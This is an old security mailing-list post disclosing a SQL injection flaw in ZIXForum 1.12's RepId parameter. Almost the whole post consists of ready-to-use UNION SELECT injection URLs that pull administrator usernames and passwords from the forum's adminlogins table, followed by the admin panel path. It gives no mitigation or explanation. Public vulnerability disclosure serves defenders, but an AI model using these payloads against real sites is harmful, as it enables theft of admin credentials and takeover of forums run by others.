ZIXForum 1.12 <= "RepId" Remote SQL Injection
Date: 5 Sep 2006 18:19:49 -0000
From: [email protected]
To: [email protected]
Subject: ZIXForum 1.12 <= "RepId" Remote SQL Injection
X-Eagle-Notice: Sender not 8-bit clean in Subject: \251ZIXForum 1.12 <= \"RepId\" Remote SQL Injection
X-Virus-Scanned: antivirus-gw at tyumen.ru
################################################################################
## ##
## ╘ZIXForum 1.12 <= "RepId" Remote SQL Injection ##
## - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ##
## Credit by | Chironex Fleckeri ##
## Mail | [email protected] ##
## - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ##
## ##
################################################################################
##########################################################################################################################################################
#Username : http://www.target.com/path/ReplyNew.asp?RepId=-1 UNION SELECT null,null,null,J_user,null,null,null,null,null,null,null,null FROM adminlogins #
##########################################################################################################################################################
##########################################################################################################################################################
#Password : http://www.target.com/path/ReplyNew.asp?RepId=-1 UNION SELECT null,null,null,J_pass,null,null,null,null,null,null,null,null FROM adminlogins #
##########################################################################################################################################################
################################################################
#Admin Panel : http://www.target.com/path/theadmin/default.asp #
################################################################
